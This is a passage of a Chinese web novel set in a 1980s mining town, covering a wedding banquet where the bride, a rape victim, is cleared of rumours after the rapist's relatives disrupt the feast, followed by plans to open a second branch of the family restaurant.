他们说是齐家用闺女做诱饵,设下陷阱,说是什么去亲戚家相亲,让姨弟放松了警惕后,齐家人就把他和齐家闺女关在一个屋子里,还让人打了他一顿,都把人打进医院了。 现在齐家人嚷嚷着什么是姨弟强|奸了他们家闺女,实际这就是仙人跳,姨弟不肯给钱,才被齐家陷害成强|奸犯,实际应该去劳改的是齐家人! 这个案子的案情充满涩情、金钱、阴谋、陷害的刺激元素,在缺少娱乐的八十年代,一时间成为街头巷尾的热议话题。 一矿姓齐的没几户人家,家里有闺女的就更少了。 结合齐大哥齐大嫂被公安深夜逮捕、齐家被人砸了的事,认识齐家的人很快就推断出这起强|奸案的受害者是齐家红。 有人觉得说不定还真是齐家害人,要不怎么他们家的老大两口子被抓了呢?这不正说明他们设局做仙人跳嘛,不然为什么公安不抓别人就抓他们? 也有人觉得这事儿有蹊跷,要是真是仙人跳,为什么公安不放了姨弟,也不抓齐家红,总不能是把受害人关起来,反而把犯人放跑了吧! 还有人认识齐家,说齐家红是个好姑娘,不可能干这种丧良心的事,八成是齐老大两口子作孽,这对夫妇别看是当大的,一点也没有当大的模样,就知道欺负小的。 众说纷纭,连学校都传出风言风语,子弟小学的校领导还把齐家红叫过去问话。 虽然齐家红是受害者,但事情似乎总是如此,明明是需要呵护的受害者,却常常要受到二次伤害。 幸好贺明国一直支撑着她,贺明珠和贺明军也为她说话,就连贺小弟,在听到有小朋友学舌说大嫂坏话时,也要冲上去和人家打一架。 在贺家,她度过了最难熬的那段时间。 但即使如此,齐家红还是不想大办婚礼。 她不想在婚礼上看到各种意味不明的眼神,不想再听到背后的窃窃私语。 然而,贺明珠却劝道: “大嫂,这又不是你的错,凭什么你要躲起来?该羞愧的,是吴家人才对。他们家不仅养出了强|奸犯儿子,还养出了一窝颠倒黑白、为非作歹的蛇鼠,他们才应该躲在阴沟里。” 齐家红勉强笑了笑,沮丧地说: “说这些有什么用呢?他们家的人再坏,可大伙儿也愿意相信他们的话……我不光是为了自己才不愿意办婚礼,我是不想你们家受到我的牵连……毕竟,家里娶了我这样的媳妇,说出去,不好听……也影响你们家的名声……” 她的脸色苍白,每一个字都说得很艰难,但还是将这些日思夜想的话都说了出来。 强|奸案受害者难道是什么很光荣的身份吗? 即使这不是她的错,但人们也会戴上有色眼镜来看她。 更何况,这起强|奸案她也不能说自己一点错都没有,毕竟要不是她的大哥大嫂贪得无厌、卖妹求荣,也不会引出后续这一摊子的烂事。 虽然她已经和家里划清了界限,可外人并不了解,只会说一笔写不出两个齐字,她到底还是齐家人,身体里流的是齐家的血。 如果不是她不够有勇气,贪恋贺家带给她的温暖,齐家红想,她应该要离开贺明国,不能耽误他的下半辈子。 可是她不舍得。 齐家红觉得她实在是太懦弱自私,甚至开始憎恨自己。 这时,她手上传来了一股温暖而坚定的力道,抬眼看去,贺明珠抿着嘴,以一种前所未有的严肃态度对她说道: “大嫂,请你不要再说这样的话,也不要再有这样的想法。从你和大哥结婚开始,我们就是一家人了。无论何时,我们都不会,也不能背弃自己的家人。家人永远都是家人,一起吃糠咽菜,也一起吃香喝辣,不管是好的还是坏的,我们要一起面对。” 听到这话,齐家红心里一颤。 贺明珠继续说道:“大嫂,我知道你很委屈,很痛苦,甚至想要牺牲自己,保全家人。但这不是你的错,在任何情况下,受害者都不应该成为指责的对象。人们有从众心理,哪边的声音大,就下意识倒向哪边,而不管事情真相到底如何。这是人性,也是人之常情。可我们不能逆来顺受,不能就这样忍着。越是被人泼了脏水,就越要站出来,把脏水都一点一点都擦干净。” “邪不胜正,我不能让吴家能一直这么颠倒黑白。大嫂,你是好人,你不应当被这样抹黑,被误导了的人们也应该有个机会去了解事实真相,去重新认识你。” 贺明珠最后说:“大嫂,你从来都没有错。” 齐家红狼狈地低下头,不让贺明珠看到她眼中大颗大颗滚落的泪水。 “好。” 她哽咽着又说了一遍:“好……” 贺明珠轻轻抱住了她,齐家红终于忍不住,放声大哭了起 来。 屋外的贺明国站在门口,听到屋里的彻底释怀的哭声,他长长叹出一口气,像是要把这段时间沉郁压抑的情绪都叹出去。 贺明军拍拍他的肩膀,说:“小妹出马,你还有什么好担心的,等着办婚礼吧,新郎官。” 贺家居然要大办婚礼! 新娘还是此前仙人跳案的另一位主角齐家红! 一矿人民集体沸腾了。 贺家在一矿还是小有名气的,一方面是因为牺牲在工作岗位上的贺父贺母,另一方面就是因为贺家开的煤矿人家了。 这家饭店的生意红火极了,以前的顾客主要是矿工,但自从普涨工资后,一矿不少人都携家带口地来光顾。 比国营饭店的价格便宜,还比国营饭店的菜好吃,一时间,煤矿人家成了矿上最受欢迎的饭店,每天进进出出的顾客络绎不绝。 来吃饭的人多了,关于贺家的家庭情况也传播起来,许多人都叫得出贺家人的名字,对他们家的事了如指掌。 甚至连贺小弟在路上玩耍时,都有人问他:“今天你家里做什么好吃的了?” 听说贺明国要和齐家红结婚,还要在煤矿人家大摆婚宴,不管有没有被贺家邀请,不少人都抢着要来,名义上是参加婚礼,实际上是来看热闹,而且还能品尝美食,实在是一举两得。 贺明国来者不拒,不管是亲朋好友,还是领导同事,通通邀请参加。 而在煤矿人家,有老顾客试探性地问能不能参加婚宴,也沾一沾老板家的喜气。 贺明珠笑眯眯地手一挥:“来,都来!” 于是,婚礼当天,来参加婚宴的人塞满了整个煤矿人家,多得甚至前厅坐不下,不得不在门外也摆了好几桌。 煤矿人家里张灯结彩,处处都贴着大红喜字,红艳艳的,喜庆极了。 客人们交头接耳,也不管彼此认不认识,互相八卦道: “贺家可真是不讲究,老大媳妇都出了这种事,还要把她娶进家门,这不是给家里找事吗?” “你懂什么,这说明贺家的人重感情,都是好人啊。” “该说不该说的,这要是我,我可受不了娶个这样的媳妇,谁知道仙人跳是不是真的……” “来参加人家婚宴就别说这种话了,不厚道!” “这贺家两口子就是走的太早了,但凡有一个还在的,能让大儿子随随便便找个人就结婚吗?” “我可听说了,这新媳妇可是个狠心的,把自己亲哥嫂都给送进去劳改了,啧啧啧……” “越是这样的人才越能过得好,你看这不就嫁到贺家了吗?以后别的不说,守着个饭店,以后吃香的喝辣的,缺不了她的。” “哎,要是早知道贺家人厨艺好,我就叫我闺女嫁过来了……” “哈哈哈,现在贺家老二还没结婚呢,你闺女有机会!” 窸窸窣窣的八卦声中,小孩子们从门口冲进来,连声喊着:“新娘子来咯,新娘子来咯!” 宾客们都站了起来,一股脑地走出去,往外面看。 只见一辆现在最时兴的黑色桑塔纳缓缓驶来,停靠在了煤矿人家门口。 这辆车是贺明军弄来的。 他在矿务局认识的人多,给小车班领导塞了大红包,又送了一条昂贵的甲级友谊烟,软磨硬泡下,借来了这辆刚配置没多久的桑塔纳。 这车可是上海生产的德国车,落地要二十多万,贵不说,而且还很不好买,得拿着购买指标才能提车,全乌城也没几辆。 要不是利税改革后乌城矿务局财大气粗,又和上海那边有着长期煤炭交易的合作关系,不然还真不容易买到一辆桑塔纳。 见到这车,宾客们发出一阵惊呼,居然用桑塔纳做婚车,太奢侈了,要知道这会儿大多数人接亲时不是自行车就是三轮车,好一点的也不过是拉达、吉普,哪见过这等豪车。 桑塔纳车门打开,穿着最时髦的宽肩西装的贺明国先下车,接着是穿着一身红色套装裙的齐家红。 一对新人男帅女靓,让人眼前一亮。 齐家红的妆是贺明珠给化的,她实在受不了这会儿的化妆师要在新娘脸上涂上猴屁股似的两大坨腮红,抹一个红嘟嘟的嘴唇,再加上毛毛虫似的眉毛和眼线,简直像要唱大戏。 在贺明珠的手下,齐家红看起来明艳照人,眉如远山,脸上泛着自然的红晕,一颦一笑间既有新娘子的羞涩,又有初为人妇的风情,美得让人看直了眼。 宾客间窃窃私语: “新娘子看起来还不错嘛……” “怪不得贺家老大非她不娶,这要是我,也狠不下心啊。” “看来不是什么仙人跳,就是那个强|奸犯色迷心窍,见人家姑娘漂亮,就想干点坏事。” “贺大好福气啊……” 在场的男人们都忍不住对贺明国生出浓浓的艳羡之情。 这家伙,不仅家里有个做饭特别好吃的妹妹,还能娶到这么漂亮的老婆,这得是祖坟冒了多大的青烟啊! 简单而郑重的婚礼仪式后,最万众期待的时刻到来了—— 开始上菜了! 宾客们流着口水,对着面前看起来就很美味的菜,毫不犹豫地下起了筷子。 为了这次大哥的婚礼,贺明珠可是下了血本。不仅花大价钱从黑市购买了许多粮票,还通过肉联厂的渠道,买了整只的猪羊鸡,将后厨塞得满满当当。 但效果也是立竿见影的。 整块的白煮肉被切成薄片,整整齐齐码在盘中,晶莹剔透,雪白细腻,用筷子夹起来时微微颤动,勾得人肚里的馋虫直蛄蛹。 这肉是上好的带皮五花肉,煮到了九成熟,脂肪要化不化的,肉的鲜味都被锁了进去。 轻轻咬一口,肉片香滑软烂,微带弹性,醇厚细腻,配上蒜泥辣椒葱花调制的酱汁,吃起来肥而不腻,满口鲜香。 缺牙老太太都吃得香极了,一片接一片地夹,旁边有人劝她别吃太多油腻,对身体不好。 老太太瘪着嘴说:“我老婆子还能活多久,这样的好菜是吃一回少一回,谁也别拦我,就让我一次吃个够!” 宾客们还在回味白煮肉的滋味时,下一道葱爆羊肉又端上来了。 羊肉用的是上好的草原羊,吃青草饮溪水长大,不但肉质细嫩,还不带一点膻腥,即使是不爱吃羊肉的人,也能空口吃上一盘。 这道葱爆羊肉用的是羊后腿,大火烹饪,切成薄片的羊肉倒入热油锅中,“刺啦”一声,肉片表面被高温炙烤得微焦,牢牢锁住了里面的肉汁。 微辣嫩脆的大葱下入锅中,带来浓郁的葱香,再沿着锅边烹一圈醋,便又加上了一层醋香。 几重滋味叠加,出锅的葱爆羊肉热腾腾地散发着诱人香味,外焦里嫩,焦香扑鼻,就连作为配料的大葱吃起来也是鲜嫩爽口。 宾客们大快朵颐,味蕾经受着一次又一次的冲击,在美食带来的无与伦比的快乐中,整个人几乎都要飞上了天。 最调皮捣蛋的小孩子此时也顾不上玩,老老实实坐在椅子上,抱着小碗吃得头也不抬。 人们顾不上谦让,一道菜端上来,瞬间所有筷子都伸了过去,等筷子们被拿开,盘子已经变得空空如也了。 上菜的速度跟不上吃菜的速度,在等待美食的间隔里,宾客们既兴奋又焦躁,恨不能把脑袋扎进后厨里,看看下一道菜会是什么。 就在这时,忽然有一群人乌泱泱冲进了煤矿人家,抓起桌子上的盘子就往地上砸。 “结婚,我让你 结婚!” 第80章 第80章婚宴场舆论大反转 这帮人气势汹汹,摆明了就是来闹场的,抓起桌上的碗盘就往地上砸,要不是宾客们占着桌椅,甚至连大圆桌都想掀翻。 来的是齐大嫂姨弟家的人,他们眼见姨弟被公审劳改是铁板钉钉的事了,对齐家是恨之入骨。 砸了齐家还不够,在听说齐家红要结婚时,马上纠集了一群亲戚,乌泱乌泱地赶来闹事。 “臭不要脸的,你还敢结婚!我弟弟都被你害惨了,你这个贱货!” 中年女人冲上来,嘴里骂骂咧咧,对着正在敬酒的齐家红就要去拽她的头发。 她的手伸到一半被人拦住,接着就被人扯着胳膊大力掀开。 中年女人一时间重心不稳,噔噔噔连退好几步,撞到身后的人,这才站住了脚。 贺明国挡在齐家红身前,怒道:“你嘴巴放干净点!不然我就不客气了!” 与中年女人同来的闹事者嚷嚷着:“不客气?你还敢不客气?有本事你来,我倒要看看你怎么个不客气法!” 闹事的人围住了贺明国和齐家红,嘴里不干不净的,骂的都是些下三滥的脏话。 贺明国护着齐家红,被人推来搡去,身上还挨了好几下。 有人伸着手,试图从他怀里把齐家红揪出来。 离得最近的人,一把扯下了别在齐家红发髻上的花朵发饰,连着一缕头发都被扯乱了。 齐家红被扯到了头皮,痛呼一声。 贺明国见状,这个一向好脾气的人怒火翻涌,西装一脱,举起拳头,一记重拳将离他最近的男青年打倒在地。 那些人没防备他会动手,被打了个措手不及,反应过来后就要一拥而上,对着贺明国下黑拳。 齐家红急了,脱下高跟鞋,抓着鞋面,抡起来去砸那些打向贺明国的黑手 现场一团混乱,其他人还没反应过来,贺明珠从后厨出来,厉声喝道:“都给我住手!” 闹事的人动作一顿,等看清了说话的人,有人怪笑道:“你一个小姑子出的是哪门子的头?大哥是亲大哥,大嫂可不是,让你大哥给你换个大嫂不就行了?” 还有人恶毒地说:“贺家大人都死光了吗,让一个小姑娘做主,又娶这么一个仙人跳大嫂,我看你们家是要养一窝的绿头龟!” 吴家来的闹事者们都附和地大笑起来。 贺明珠冷着脸,声音冰冷清亮,一字一句地说道: “你们家的人之所以被公安逮捕,是因为他试图强迫女性,无法无天,所以才会被法律制裁;而他会沦落到今天的下场,全是因为有你们这样不知悔改、纵容犯罪的家人!” “我大嫂清白无辜,之所以被卷入这场闹剧,全是因为她有一对卑鄙无耻的兄嫂,在明知妹妹已经有结婚对象的情况下,还将妹妹当作换取彩礼的工具,故意把她和强|奸犯关在一间屋子里。” “如果不是因为我大嫂本人坚强勇敢,将强|奸犯打晕过去,不仅没有让他得逞,还报警将强|奸案的主犯和从犯送进了监狱,她今天就不会站在这里。” “作为强|奸犯的家人,你们不仅没有悔过,还四处闹事,先是砸了齐家,现在又要来砸婚宴,我看,应该接受公审的不只有你们家的强|奸犯,还有你们这些为虎作伥的帮凶!” 众人被贺明珠的气势所慑,竟无一人站出来反驳。 贺明珠扫视一圈闹事者,轻蔑地说:“你们是人品下作的小人,我大嫂才是真正的勇士。” 一番话说罢,在场的宾客终于弄清了这个闻名矿务局的强|奸案的前因后果。 原来是齐家老大两口子为了收彩礼钱,把妹妹卖给强|奸犯,并将两人关在一起,试图生米煮成熟饭,逼她嫁给强|奸犯。 所谓的仙人跳,都是以讹传讹的谣言。 此时再去看台上的新娘子,这次就不仅是觉着她漂亮了,更是从漂亮中看出了坚毅。 这个姑娘可真够不容易的,摊上这样唯利是图的兄嫂和色欲熏心的强|奸犯,还能将自己保护周全,真是个有勇有谋的好姑娘。 宾客们忍不住互相交流起来: “新娘挺好的一人,怎么就遇上这样的大哥大嫂了?” “这要是我姑娘,我非得打断老大两口子的腿不可!这对畜生不如的玩意儿!” “我得回去教我闺女两下子,万一要是遇上这种恶心事,得能把坏人打趴下才行。” “这新娘子听说还是小学老师呢,真是能文能武,当代穆桂英啊。” “她是哪个学校的老师?教哪个班的?说什么也得让我姑娘转到她教的那个班,不为别的,能从老师身上学到个一点半点的也行,我们做父母的也不用太操心。” “贺大好福气,这样的好姑娘都被他娶到了,看来老贺两口子在地下也在保佑家里孩子啊。” “我看贺家人也不错嘛,外面都传成什么样儿了,他们照样该娶就娶,该办婚礼就办婚礼,一点也没因为强|奸案的事儿委屈人家姑娘。” “新娘子有勇有谋,新郎官有情有义,真是天作之合啊!” “这家人怎么还有脸来人家婚礼上闹事?家里出了个强|奸犯,要是我,我可没脸出门。” “哎,有人认识这家人吗?住哪儿,在哪儿上班呢?” “我可得回去告诉家里人,不能和这种人家交往,什么家风啊!” 吴家的人恼羞成怒,他们本来是来闹事的,没成想反被贺明珠将了一军。 现在好了,反倒成了对他们家的批判大会。 一群人的脸涨得通红,然后发怒转黑,接着又被气白了,脸上颜色变换,有趣极了。 中年女人见气氛不对,跳着脚地喊: “砸!把饭店都给我砸了!” “害完我们家的人还想装没事人,我让你装,让你装!” “今天谁也别想结婚!我们家里不好过,你也别想好过!” 吴家的人猛然反应过来,他们是来闹事的,不是来受气的。 一群人兵分两路,一部分闹事者踮脚伸胳膊的,努力越过劝架的人,试图打到新娘和新郎身上;另一部分闹事者则是冲到了宾客中,一边喊“吃什么吃,谁也不许给我吃了!”一边推搡开坐着的人,把桌子上的碗盘往地上扫。 宾客们这时反应过来,有人一拉椅子,往后面一缩,躲了。 也有人站出来,挤到人群中,作和事佬状:“别冲动,有话好好说,你们在人家婚礼上闹事不合适吧?有什么事等办完了婚礼再说……” 更多的人坐在桌位上,既紧张又兴奋,瞪大了眼睛,伸着脖子围观,生怕错过一分一秒。 闹事者们不听劝说,他们来这儿就是为了毁掉这场婚宴。 但他们还没闹腾几下,就被人拦住了。 打人的那拨闹事者被贺家的亲戚们挡了。 许贵生、许表哥等黑壮农村小伙挡在闹事者与新郎新娘之间,任由闹事者如何动作,都越不过去。 他们天天下地务农,胳膊腿粗壮有力,虽然不太会打架,但拦着别人不动手却是轻轻松松,往那儿一站,就是一尊黑塔。 其中,许表哥的坏心眼多,他低着头,瞅准了闹事者的鞋子就用力往下跺脚。 城里人穿着皮鞋,和村里的布鞋形成鲜明对比,丝毫不用担心踩错了人。 他啪啪啪一圈跺过去,堪比牛蹄子踩脚,疼得闹事者抱着脚哭爹喊娘。 砸桌的那拨闹事者则被贺明国的同事们拉开了。 他们都是矿工,年轻力壮,血性十足,和贺明国关系极好。见有人敢欺负自家兄弟,二话不说,拍桌子就站起来,揪着闹事者的脖领子就往外拽。 都说咱们工人有力量,那是真不是吹的,天天在井下从事体力劳动,练出了一身的腱子肉,打起人来生疼。 闹事者还想掀桌子呢,转头就被几个人人扯住手脚,拖死猪似的拉出了饭店,丢到马路上。 中年女人气得跳脚直骂:“谁也不许拦我!这事儿和你们没关系,这女的害了我弟弟,我要给我弟弟报仇!” 她一边骂,一边顺手从旁边桌上拿起了个碗,看也不看就摔在了地上。 哐啷一声,碎瓷片和碗里的食物一起滚落在了地上。 旁边传来一声惊呼:“我的白煮肉!” 雪白肉片在地上沾了一层土,又被人踩了好几脚,眼见是不能吃了。 被夺走了碗的人噌地一下站起来,对着中年女人怒吼道: “你闹事就闹事,摔我的碗干什么!” 中年女人被吼得一瑟缩,缓过来就回嘴:“我想摔就摔,你能拿我怎么样!” 那人气得火冒三丈,这可是盘子里最后一片白煮肉了! 他珍惜极了,不舍得吃完,打算留到最后再慢慢品尝,没想到,居然被这个强|奸犯的姐姐给把碗给砸了。 而本来要送上桌的下一道菜,也因为闹事的原因,而迟迟无法端上来。 他越想越气,大怒道: “好端端的婚宴被你们这帮下三滥的给毁了,你给我滚出去!要不是因为你们,老子早就吃到下一盘菜了!” 听到这话,众宾客恍然大悟。 对啊,要不是这群闹事的,婚宴这会儿应该已经又上了三四道菜,可是现在,不仅连一道新菜都没有,就连桌子上原有的菜,也被人摔在地上,不能吃了。 一时间,宾客们看向闹事者的眼神都变得不友善了。 中年女人还没有意识到气氛的变化,犹自插腰骂道: “还吃个屁!只要我在这儿,你一口菜都别想吃到!” 这一下,是彻底激起众怒了。 宾客们撸起袖子,纷纷站了起来,冲着闹事者们就围了上去。 “你还不让我吃,我倒要看看,到底是你的嘴硬,还是我的拳头硬!” “真是老子反动儿混蛋,你们这一家子从根子上就坏透了!” “滚,通通滚出去!” 闹事者们陷入了人民群众的汪洋战争中,几乎没怎么来得及挣扎,就被抓手抓脚的,一个接一个丢出了煤矿人家的大门。 中年女人昏头昏脑地从地上爬起来,只见对面饭店台阶上的人冲她啐了一口, “今天是好日子,不能见红,可过了今天可就没这规矩。再敢来闹事,就卸了你的胳膊腿,别想囫囵个地出去了!” 中年女人气得直喘粗气,想再招呼人冲进去时,忽然旁边冲出几个蒙着脸的人,把吴家来闹事的人抓到了附近的小树林里,叮铃哐啷就是一顿揍。 这帮人下手黑,专挑肋下大腿这种肉厚且不容易打出问题的地方,疼得他们哭爹喊娘,抱头鼠窜。 偏偏这地方偏僻,除了惊飞一群春日北归的鸟外,再没有其他人路过。 等打完了人,满地都是疼得打滚的伤员,这群人像他们来时一样,忽然撤退,消失不见。 吴家人被揍了个狠的,一瘸一拐,互相搀扶着离开小树林。 这帮欺软怕硬的家伙被吓破了胆,这辈子都不敢再找贺家人闹事了。 没了闹事的人,婚宴恢复正常,后厨重新开工,一盘盘的菜端上了各桌。 宾客们先是在精神上吃了一场大瓜,接着又在物质上品尝到了美食,整个人都陷入精神物质两开花的幸福中。 前厅,宾客们一边大吃特吃,一边交流刚才那一场闹事的心得体会。 后厨,两位大厨各占据一排灶台,快速将备好的食材下锅翻炒。 两人背对着背,贺明珠轻声问:“都解决了?” 贺明军颔首:“放心,他们以后绝对不敢再来。” 徐和平探过脑袋,笑嘻嘻地说: “好久没有这么痛快地打过架了,小老板,以后要是还有这种机会,千万要记得喊我啊。” 张向党、梁志胜蹲在地上,端着碗,毫不顾忌形象,呼噜呼噜地大口大口吃着。 这是贺明珠给他们开的小灶,打架可是体力活儿,打完了必须得补一补。 宾客们吃得酣畅淋漓,在尚需穿着夹袄的倒春寒中,硬生生吃出了满头大汗。 这时,一股酸香鲜爽的味道从后厨飘出来,随着服务员端着菜送到各桌,这股酸香味越来越浓郁。 桌子离后厨远的宾客伸着脖子努力瞅,只见朴素的白色瓷盘中盛着一条头尾俱全的大鱼。鱼肉雪白,汤色清淡,看着就清爽极了。 等鱼上了桌,服务员介绍一句:“这是醋椒鱼。”还没等话音落在桌子上,一双又一双的筷子就迫不及待地夹向了鱼肉。 醋椒鱼用的是鳜鱼,春天正是鳜鱼最肥美的时候,也就是所谓的“桃花流水鳜鱼肥”。 这鱼刺少,肉厚,正适合很少吃鱼、不会挑刺的乌城人。除了一根脊骨外,几乎没有多少鱼刺。 与鱼米之乡的南方不同,北方降水少,河流泥沙多,河里的鱼多有一股土腥味儿。 为了压下这股腥气,通常是用红烧、酱焖等口味重的方式来烹饪鱼类。 但这道醋椒鱼却不同,鱼肉雪白,汤色也奶白,与通常浓油赤酱的做法相比,看着就清淡爽口。 一方面是因为鳜鱼本身腥味轻,另一方面则是做法上有所不同。先用热油煎白胡椒,煎出香味后,将焯水的鱼放入锅中,再倒入高汤,油脂乳化后将汤色染成奶白,最后再滴上两滴米醋。 鱼肉入口后,鲜嫩柔滑,微酸解腻,即使是最不爱吃鱼的人,也忍不住一而再再而三地去夹着吃。 更不用提奶白的鱼汤,鲜美清淡,酸辣爽口。本来短时间内摄取大量美食导致胃口被填得有些腻的宾客们,一碗汤下去,瞬间感到极大的熨帖,肠胃都舒缓了起来。 鱼是宴席上最后一道大菜。 有头有尾的大鱼上完,也就意味着这一场婚宴迎来尾声。 宾客们瘫在椅子上,抚摸着鼓起来的肚子,懒洋洋地不想动弹,有一句没一句地和旁边的人聊天,也不管彼此之前认不认识。 “哎呀,这贺家的手艺是真好,怪不得能开饭店呢。” “可不是,我之前经常出差,走南闯北的,也算是吃过各地的国营饭店。可和煤矿人家一比,倒显得我之前吃的那些菜都普普通通了。” “我可是这家饭店的老顾客,从小老板摆摊的时候,我就在了。之前的饭好吃,今天的饭更好吃。小老板为了她大哥结婚,怕是把压箱底的好菜都拿出来了。” “他们家的饭真有这么好吃?要是和席上的菜一个水平的话,那我得带着家里人一起来吃了。” “好吃!说起来,就一个字,香!” 说话间,有人决定等婚宴结束后,要带着家人朋友来煤矿人家搓一顿;也有人心中自得,没有错过煤矿人家每一个阶段的美食,不管是最早的棒骨土豆泥,还是猪心猪肝猪大肠,亦或是今天的婚宴大菜。 嘿嘿,回去有的和老伙计们吹嘘,别看他厚着脸皮来参加老板家的喜事,但就为了这一口菜,这可太值得了! 当所有人都以为宴席已经结束时,服务员端着托盘从后厨走了出来。 瘫在椅子上的宾客们连忙坐正,问道:“这又是什么菜?” 服务员笑眯眯地说:“我们小老板说了,多谢今天大家见义勇为,仗义执言,所以她把私藏的甜品也贡献出来,与大家共享。” 一听是小老板的独家享用美食,众人精神一振,纷纷坐直了身,等着服务员将托盘上的东西放下。 服务员从托盘上取下巴掌大的小瓷碗,依次递给了各位宾客。 瓷碗里盛着雪白一块的小点心,漂浮在糖水中,显出半透明的质感。 接到瓷碗的人急不可耐地拿勺子舀了,送到口中品尝。 唔!清清凉凉,甜美柔滑,不等细嚼,就温柔地顺着喉咙滑进了胃袋。 没吃过的宾客问服务员:“这是什么点心?” 服务员说:“这个啊,我们小老板说,是杏仁豆腐。” 杏仁?豆腐? 可这个小点心吃起来一点也尝不出豆腐特有的那股豆腥味儿,倒是能吃出杏仁的奶香甜腻。 但杏仁是怎么能做出这种琼脂美玉般的质感呢? 有吃过的人给周围的人解释:“这杏仁豆腐可不是什么豆腐,不过是取了个豆腐的形态,看起来像是一小方一小方的嫩豆腐。” 杏仁用石磨细细碾碎,榨出浓浓的汁液,放入琼脂粉,加牛奶与冰糖同煮,等放凉后,便凝结成 果冻似的杏仁豆腐了。 在小瓷碗中放入桂花蜜调成的糖水,将切成小块的杏仁豆腐放入。勺子轻轻舀起,浸泡在糖水中的杏仁豆腐看起来洁白细腻,吃起来清甜细滑,让人心旷神怡。 宾客们不再聊天,全身心地沉浸在品尝美食的沉静安宁中,一时间,饭店里只能听到瓷勺碰撞瓷碗的清脆响声。 一场婚宴结束,随着煤矿人家的美食传遍整个矿务局的同时,关于强|奸案的真相也传到了每一个人耳中。 人们不再八卦所谓的仙人跳,而是开始探讨严肃的社会话题:兄嫂是否能将姐妹的彩礼据为己有,并进一步引申出,兄嫂是否能插手姐妹的婚事。 这一次,齐家红成为勇于反抗专制家庭的正面人物,而齐大哥齐大嫂则是成为黄世仁一样的反派,被众人所唾弃,并被单位所开除。 不过再炸裂的事情,在时间的大潮中,也会被层出不穷的新的案件所覆盖。渐渐地,齐家的事没人再探讨,新的奇闻占据了头版头条。 一场闹剧终于落下帷幕,但煤矿人家的名声却传得越来越广,甚至传到了贺明国所在的分矿。 上完今天的班,坐着猴车出了井下,贺明国一身都是煤灰,除了牙齿和眼白,哪儿哪儿都是黑的,一整个行走的小煤人。 他进了分矿开设的职工澡堂,正在脱工服时,旁边同事忽然问他: “哎,明国,你们家的饭店什么时候在分矿开一家分店啊?” 旁边的人听了就问:“饭店?什么饭店?” 同事热情介绍:“嗨,你不知道,他妹妹在一矿开了家饭店,叫煤矿人家,特好吃!” 问话的人立刻恍然大悟,说道:“这个饭店我知道!我之前还带家里人去煤矿人家吃饭了呢,那肉炖的,那叫一个香!我们家老爷子都八十了,牙都不剩几颗了,抱着棒骨一个劲的啃,我说我给您把肉剔下来,嘿,老爷子还不干!” 接着他转身,热切地问贺明国:“同志,你们家的饭店也在分矿开一家呗?” 贺明国刚把腰带抽出来,裤子脱了一半,两只手提着裤头,一时间穿也不是,脱也不是。 被两双眼睛炯炯有神地盯着,贺明国哭笑不得地说: “行,我回去问问我妹妹。不过她现在忙着中考,可能顾不上开分店的事。” 同事立刻就说:“哎呀,咱妹妹那么厉害,小小一个中考,肯定没问题的!不过,你回去可千万记得问问她,分店开得越早越好啊!” 贺明国无奈地应了,这才被两人放过,安安稳稳地脱衣服进去洗澡。 他冲掉身上的煤灰,又打了一遍肥皂,在淋浴头下冲干净后,走进了蒸腾着热气的澡池子。 职工澡堂用的是自家分矿产的煤,锅炉房很舍得用煤,将水烧得滚烫。 泡在热池子中,整个人松弛下来,全身毛孔都舒服地张开。 贺明国在脑袋上搭了块毛巾,背靠着池壁,闭着眼睛养神时,忽然,耳边传来一道不确定的声音。 “你就是煤矿人家老板的哥哥吧?” 贺明国无奈地将毛巾拿下去,睁开眼,对面是个不认识的陌生人。 “对,我是,你有什么事?” 陌生人高兴起来,语气都变得欢快:“我前天在你们家吃的饭,见你帮忙送菜。刚刚看着眼熟,没想到,果然是你!” 贺明国已经不是第一次被认出,心中既骄傲,又有点囧囧有神。 啊不是,开饭店的是他的弟弟和妹妹,怎么大家就都逮着他不放呢?! 陌生人兴奋地说:“小老板她大哥(贺明国腹诽:这都什么称呼!),让小老板也在分矿开个店呗,要不咱分矿的人平时上班没时间,只能放假了去饭店,多费事儿啊。” 他凑近贺明国,热切地说:“只要小老板同意在分矿开店,不用担心能不能挣上钱,我每天都带着班组的同事们来吃饭,绝对生意兴隆!” 贺明国不习惯和陌生人太过裸裎相对,默默向后退了退——虽然他身后是池壁,已经退无可退。 陌生人毫无所觉,还在往前凑,眼见这距离近得都要“击剑”了。 贺明国艰难地说:“我会告诉她的……” 说罢,他赶紧手脚并用爬出了池子。 陌生人很热情地在后面喊:“千万把话带到啊!” 贺明国走得更快了,从背影看得出几分落荒而逃的意味。 回了家,贺明国在深思熟虑后,敲了敲大屋的门,隔着门帘对贺明珠说: “妹,你有没有考虑在我们分矿开个店?”【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 第81章招新厨子啦 开一家新店需要准备什么? 有的人会说是进行市场调研,有的人会说是筹集资金,也有的人会说是定位产品和市场,还有的人会说是做好赔本的心理准备。 对于贺明珠来说,她的答案是——招人。 是的,招人。 煤矿人家的生意现在太火爆了,不少人慕名而来,点名要吃婚宴同款白煮肉和葱爆羊肉,醋椒鱼也广受欢迎,而杏仁豆腐更是老少咸宜,每天不得不限量供应,早到早得。 饭店内摩肩接踵,经常是这边客人还没吃完饭,那边桌旁就站了人等着接替他的位置。 还有人因为抢位置而在店里吵闹起来,虽然凡是打架的都被贺明军一手一个提溜出去,但也不能总让大厨出来拉架。 贺明珠紧急采购了一批长条凳,摆在饭店门外,在一旁放上扑克,让没位置的客人边玩儿边等位。 煤矿人家成为乌城矿务局头一家实行叫号制的饭店。 有时候客人们打扑克上了头,听到叫号也没反应过来,还是旁边的人提醒他:“轮到你的号了,快去啊!” 这人就慌慌张张把手里的牌随机交给一位围观群众,由他接替自己,继续在牌场上奋战。 店内因为抢位造成的矛盾少了,客人们也能更好地享受美食,细细品味每一道菜带来的或鲜香,或脆嫩,或酸辣,或甜蜜的种种滋味。 客人们是吃好了,但后厨快要忙翻了天。 贺明军恨不能变成章鱼,生出十手十脚,同时操作灶台上的一排锅。 即使贺明珠下学后会在用餐高峰期时帮忙主厨,又有田润花将所有的备菜工作完成,但也在超负荷运转的临界值了。要不是贺明军年轻力壮,光是颠锅颠大勺,都能累倒人。 也幸好有贺明军在,严格地依照贺明珠制定的菜谱做菜,这才使煤矿人家出品的菜品质量都在优良以上,让食客们赞叹不已。 因此,如果要在分矿开新店,最重要的就是要有一位靠谱厨师。 但不论是将贺明军调去分矿新店,还是让新厨师负责,现在的第一步就是要先招人。 然而,这年头没有新东方,厨师的培养依旧还是传统的师徒制,以老带新,代代相传。 